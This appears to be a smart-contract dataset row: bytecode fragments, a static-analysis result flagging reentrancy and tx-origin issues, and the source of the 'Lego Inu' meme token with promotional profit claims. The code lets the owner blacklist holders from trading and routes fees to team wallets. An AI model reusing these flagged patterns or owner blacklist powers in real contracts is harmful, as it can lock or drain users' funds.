ff16158015610e5457506001600160a01b03831660009081526004602052604090205460ff16155b1561119757600d54600160a01b900460ff16610eb25760405162461bcd60e51b815260206004820152601e60248201527f544f4b454e3a2054726164696e67206e6f742079657420737461727465640000604482015260640161062e565b600e54811115610f045760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161062e565b6001600160a01b0383166000908152600a602052604090205460ff16158015610f4657506001600160a01b0382166000908152600a602052604090205460ff16155b610f9e5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161062e565b600d546001600160a01b0383811691161461110c57600d546001600160a01b038481169116148015610fd95750600d54600160b81b900460ff165b1561108657326000908152600260205260409020544290610ffb9060b4611ea6565b10801561102b57506001600160a01b03821660009081526002602052604090205442906110299060b4611ea6565b105b6110865760405162461bcd60e51b815260206004820152602660248201527f544f4b454e3a2033206d696e7574657320636f6f6c646f776e206265747765656044820152656e206275797360d01b606482015260840161062e565b600f54816110a9846001600160a01b031660009081526001602052604090205490565b6110b39190611ea6565b1061110c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161062e565b30600090815260016020526040902054601054811080159061112e5760105491505b8080156111455750600d54600160a81b900460ff16155b801561115f5750600d546001600160a01b03868116911614155b80156111745750600d54600160b01b900460ff165b15611194576111828261142c565b4780156111925761119247611630565b505b50505b6001600160a01b03831660009081526004602052604090205460019060ff16806111d957506001600160a01b03831660009081526004602052604090205460ff165b8061120b5750600d546001600160a01b0385811691161480159061120b5750600d546001600160a01b03848116911614155b1561121857506000611286565b600d546001600160a01b0385811691161480156112435750600c546001600160a01b03848116911614155b1561124f576006546008555b600d546001600160a01b03848116911614801561127a5750600c546001600160a01b03858116911614155b15611286576007546008555b3260009081526002602052604080822042908190556001600160a01b03861683529120556112b68484848461166a565b50505050565b600081848411156112e05760405162461bcd60e51b815260040161062e9190611dae565b5060006112ed8486611efd565b95945050505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03861660009081526001909152918220546113479184906112bc565b6001600160a01b038086166000908152600160205260408082209390935590851681522054611376908361168b565b6001600160a01b0380851660008181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113ca9086815260200190565b60405180910390a35060019392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600d805460ff60a81b1916600160a81b179055600061145760646114518460556116f1565b90611770565b905060006114658284611efd565b604080516002808252606082018352929350479260009260208301908036833701905050905030816000815181106114ad57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561150157600080fd5b505afa158015611515573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115399190611b0b565b8160018151811061155a57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600c546115809130911687610bc6565b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac947906115b9908790600090869030904290600401611e36565b600060405180830381600087803b1580156115d357600080fd5b505af11580156115e7573d6000803e3d6000fd5b50505050600061160083476117b290919063ffffffff16565b905061161b84611616606461145185600f6116f1565b6117f4565b5050600d805460ff60a81b1916905550505050565b600b546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106ad573d6000803e3d6000fd5b806116805761167a8484846112f6565b506112b6565b6112b68484846118ad565b6000806116988385611ea6565b9050838110156116ea5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161062e565b9392505050565b600082611700575060006106c2565b600061170c8385611ede565b9050826117198583611ebe565b146116ea5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161062e565b60006116ea83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506119b2565b60006116ea83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112bc565b600c5461180c9030906001600160a01b031684610bc6565b600c5460405163f305d71960e01b8152306004820152602481018490526000604482018190526064820181905260848201524260a48201526001600160a01b039091169063f305d71990839060c4016060604051808303818588803b15801561187457600080fd5b505af1158015611888573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108689190611d81565b60006118b984836119e0565b90506119218260405180604001604052806014815260200173496e73756666696369656e742042616c616e636560601b81525060016000886001600160a01b03166001600160a01b03168152602001908152602001600020546112bc9092919063ffffffff16565b6001600160a01b038086166000908152600160205260408082209390935590851681522054611950908261168b565b6001600160a01b0380851660008181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906119a49085815260200190565b60405180910390a350505050565b600081836119d35760405162461bcd60e51b815260040161062e9190611dae565b5060006112ed8486611ebe565b6000806119fd6064611451600854866116f190919063ffffffff16565b30600090815260016020526040902054909150611a1a908261168b565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611a6b9085815260200190565b60405180910390a3611a7d83826117b2565b949350505050565b8035611a9081611f5b565b919050565b60008083601f840112611aa6578081fd5b50813567ffffffffffffffff811115611abd578182fd5b6020830191508360208260051b8501011115611ad857600080fd5b9250929050565b80358015158114611a9057600080fd5b600060208284031215611b00578081fd5b81356116ea81611f5b565b600060208284031215611b1c578081fd5b81516116ea81611f5b565b60008060408385031215611b39578081fd5b8235611b4481611f5b565b91506020830135611b5481611f5b565b809150509250929050565b600080600060608486031215611b73578081fd5b8335611b7e81611f5b565b92506020840135611b8e81611f5b565b929592945050506040919091013590565b60008060408385031215611bb1578182fd5b8235611bbc81611f5b565b9150611bca60208401611adf565b90509250929050565b60008060408385031215611be5578182fd5b8235611bf081611f5b565b946020939093013593505050565b60008060008060408587031215611c13578081fd5b843567ffffffffffffffff80821115611c2a578283fd5b611c3688838901611a95565b90965094506020870135915080821115611c4e578283fd5b50611c5b87828801611a95565b95989497509550505050565b60006020808385031215611c79578182fd5b823567ffffffffffffffff80821115611c90578384fd5b818501915085601f830112611ca3578384fd5b813581811115611cb557611cb5611f45565b8060051b604051601f19603f83011681018181108582111715611cda57611cda611f45565b604052828152858101935084860182860187018a1015611cf8578788fd5b8795505b83861015611d2157611d0d81611a85565b855260019590950194938601938601611cfc565b5098975050505050505050565b600060208284031215611d3f578081fd5b6116ea82611adf565b600060208284031215611d59578081fd5b5035919050565b60008060408385031215611d72578182fd5b50508035926020909101359150565b600080600060608486031215611d95578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611dda57858101830151858201604001528201611dbe565b81811115611deb5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611e855784516001600160a01b031683529383019391830191600101611e60565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611eb957611eb9611f2f565b500190565b600082611ed957634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611ef857611ef8611f2f565b500290565b600082821015611f0f57611f0f611f2f565b500390565b6000600019821415611f2857611f28611f2f565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610a7957600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122045a32daeab8eaddbdff55880c26867c3f7fad2ad8267fca99093deb1d2bafbb264736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 3,257 |
0x11dce777d0d4e5b9eafb1963d201de6584e350a5
|
/**
*Submitted for verification at Etherscan.io on 2021-07-15
*/
//Lego Inu ($LEGO)
/*
🔸♦️🔷LEGO INU🔷♦️🔸
Telegram: https://t.me/LegoInu1
Twitter: https://twitter.com/lego_inu
Reddit: https://www.reddit.com/r/LegoInu
Youtube: https://www.youtube.com/channel/UC4iw7KAtpNC-Zv5xfEzJP2g
Github: https://github.com/LegoInu/Lego
Website: https://legoinu.com
...................;LGGGGGGGGGGGGGGGGGGGGGGGG00Cf:..................
[email protected]@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@8,................
[email protected]@@[email protected]@@@f................
[email protected]@@L,:;[email protected]@@f................
[email protected]@@L,:;[email protected]@@f................
[email protected]@@L,,;iiiiiiiiiiiiii;[email protected]@@f................
.........;[email protected]@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@8f,........
......:[email protected]@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@C......
[email protected]@@@@Ci,:;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;[email protected]@@@@f....
...,@@@@@;::;[email protected]@@@C...
[email protected]@@0,,:tLLCGCLLf1i;;iiiiiiiiiiiiiiiiiiiii;;[email protected]@@@t..
.:[email protected]@@[email protected]@@@@@@@@@@@@@@@@@GLf1i;;;[email protected]@@@@@@@@@@@@@@@@[email protected]@@0..
Gf.:[email protected]@@@@@@[email protected]@@@@@@[email protected]@@@@@[email protected]@@@@@8t,.CL
[email protected]@@@@8CLLtttttf,[email protected]@@@@@@@@@@@0fttttttf,[email protected]@@@@fC0
[email protected]@@@@0LLftttttf;;[email protected]@@@@@@@@@ftttttttt;;[email protected]@@@@80
[email protected]@@@@LLftttttt;;;[email protected]@@@@@@@8tttttttt;;;[email protected]@@@8:
[email protected]@@8LLftttt1i1f:tf1;[email protected]@@@@@@@@tttttt1i1t:tt1;[email protected]@@8..
..;@@@@LLftttt.iff;ff1:;[email protected]@@@C;[email protected]@@Ltttt1,1ff:ff1:;[email protected]@@8..
..;@@@@CLLtttf;ii;;i;1:[email protected]@@@[email protected]@@8ttttf:ii;:i;i:[email protected]@@@8..
..;@@@@@LLftttt1ii;;[email protected]@@@[email protected]@@8ttttt1ii;;[email protected]@@@@8..
..;@@@@@@CLLttttf:;;[email protected]@@@tiiii;[email protected]@@@Lttttf;;;[email protected]@@@@@8..
..;@@@@@@@@[email protected]@@@[email protected]@@@@[email protected]@@@@@@@@..
..;@@@@[email protected]@@@@@@[email protected]@@@@@@@[email protected]@@@@@@@@@@@@@@@@@@[email protected]@@8..
..;@@@@;,[email protected]@@@@@@@@@@@@@01iiiiiiiiiiiiii;[email protected]@@@@@@@@@@@@[email protected]@@8..
..;@@@@;:,;i;itfLCCLfti;iiiiiiiiiiiiiiiiiiiii;;[email protected]@@@..
..;@@@@;:,;iiiiiiiiiiiiiii;[email protected]@@@..
..;@@@@;:,;iiiiiiiiiiiiit8081iiiiiiiiii;G00G;[email protected]@@8..
..;@@@@;:,;iiiiiiiiiiiii;C0008Cti;;[email protected]@@8..
[email protected]@@@f::;[email protected]@@C..
[email protected]@@@t::;iiiiiiiiiiiiiiiii;ifLGGCLt;[email protected]@@@:..
[email protected]@@@8i,:;[email protected]@@@@;...
.....:[email protected]@@@@@[email protected]@@@@@@G.....
.......,[email protected]@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@f.......
...........,[email protected]@@@[email protected]@@0CCCLti...........
[email protected]@@;:;[email protected]@@L.................
[email protected]@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@;.................
...................tG00000000000000000000000000C1...................
🔸♦️🔷LEGO INU🔷♦️🔸
ONLY THE BEST IS GOOD ENOUGH. LET'S BUILD THE BEST COMMUNITY OF ALL, BRICK BY BRICK.
⏰⏰Lanuch time: Thursday 15/07/2021 @ 20:00 GMT
💁🏻♂️LEGO INU is a reflective, NFT enriched and Lottery oriented ERC20 community-driven meme token with the vision of maximizing profit for LEGO holders employing many of its unique features.
🧮 LEGO.NOMICS:
2,500,000,000,000 Total LEGOs
7,500,000,000 initial buy limit
1 Min Cooldown
💠 LEGO.TRUST (https://legoinu.com/):
Liquidity Locked on Unicrypt
Ownership Renounced after everything works as intended
💲 LEGO.FEES:
5% LEGO Redistribution among Holders
15% Tax as following:
> 50% for Development
> 40% for Marketing and Buybacks
> 10% for LEGO.LOTTO to Reward Top Holders
🎟 LEGO.LOTTO (https://legoinu.com/):
This is the most exciting part of our ecosystem. LEGO architect has designed a lottery system to incentivize community to hold and flaunt their holdings. 10% of all collected fees will be distributed to 3 lucky winners on every lottery draw. LEGO.LOTTO (https://legoinu.com/) has the following criteria:
1) You need to be among top 20 holders until the deadline of that lottery draw.
2) The amount of LEGO with which you are a top 20 holder, should have been bought by the same address and not transferred from another address. You got no place in LEGO.LOTTO you filthy multiple-address-smart-contract buyer.
3) If you were chosen as one of lucky winners, you must maintain the same amount of LEGO holdings until the next lottery draw. Otherwise, your spot will be given to the next person who has held until the next lottery draw (even though he was not among the 3 winners).
4) The first lottery draw will happen at 5 hours post launch, following by daily lottery draw at the same time of the day.
5) At the end of each deadline, a random number will be assigned to each of top 20 holders and before the draw, a google sheet containing all eligible entries will be shared in our telegram channel.
6) The LEGO.POT for every draw is shown on the front page of the website live.
🖼 LEGO.NFT:
This is the next area in which LEGO shines. With LEGO.NFT, you can mint your own LEGO themed NFT, every of which are unique and not mintable by anyone once deployed by LEGO stakers. All minted LEGO.NFTs will be tradable right away in NFT marketplaces such as OpenSea and Rarible. This has never done before and will be a game changer once live.
In order to be able to mint a LEGO.NFT, you should stake and burn a certain amount of LEGOs which will be decided before it is fully launched. Keep in mind that the burning requirement make LEGOs even more deflationary and valuable.
*/
//5% Deflationary yes
//Bot Protect yes
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract LegoInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Lego Inu";
string private constant _symbol = "\xf0\x9f\x94\xb7LEGO\xf0\x9f\x94\xb6";
uint8 private constant _decimals = 8;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 2500000000000 * 10**8;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 15;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _devWallet;
address payable private _marketingBuyback;
address payable private _lotteryWallet;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable devWallet, address payable marketingBuyback, address payable lotteryWallet) {
_devWallet = devWallet;
_marketingBuyback = marketingBuyback;
_lotteryWallet = lotteryWallet;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_devWallet] = true;
_isExcludedFromFee[_marketingBuyback] = true;
_isExcludedFromFee[_lotteryWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 15;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_devWallet.transfer(amount.mul(5).div(10));
_marketingBuyback.transfer(amount.mul(4).div(10));
_lotteryWallet.transfer(amount.mul(1).div(10));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 7500000000 * 10**8;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _devWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _devWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, 15);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612f2e565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a35565b61045e565b6040516101789190612f13565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a391906130d0565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129e2565b61048d565b6040516101e09190612f13565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612948565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190613145565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612abe565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612948565b610783565b6040516102b191906130d0565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612e45565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612f2e565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a35565b61098d565b60405161035b9190612f13565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a75565b6109ab565b005b34801561039957600080fd5b506103a2610ad5565b005b3480156103b057600080fd5b506103b9610b4f565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612b18565b6110ab565b005b3480156103f057600080fd5b5061040b600480360381019061040691906129a2565b6111f4565b60405161041891906130d0565b60405180910390f35b60606040518060400160405280600881526020017f4c65676f20496e75000000000000000000000000000000000000000000000000815250905090565b600061047261046b61127b565b8484611283565b6001905092915050565b6000680d8d726b7177a80000905090565b600061049a84848461144e565b61055b846104a661127b565b6105568560405180606001604052806028815260200161384c60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c61127b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0d9092919063ffffffff16565b611283565b600190509392505050565b61056e61127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290613010565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006008905090565b61066761127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90613010565b60405180910390fd5b80601060176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661075261127b565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c71565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e21565b9050919050565b6107dc61127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090613010565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600c81526020017ff09f94b74c45474ff09f94b60000000000000000000000000000000000000000815250905090565b60006109a161099a61127b565b848461144e565b6001905092915050565b6109b361127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff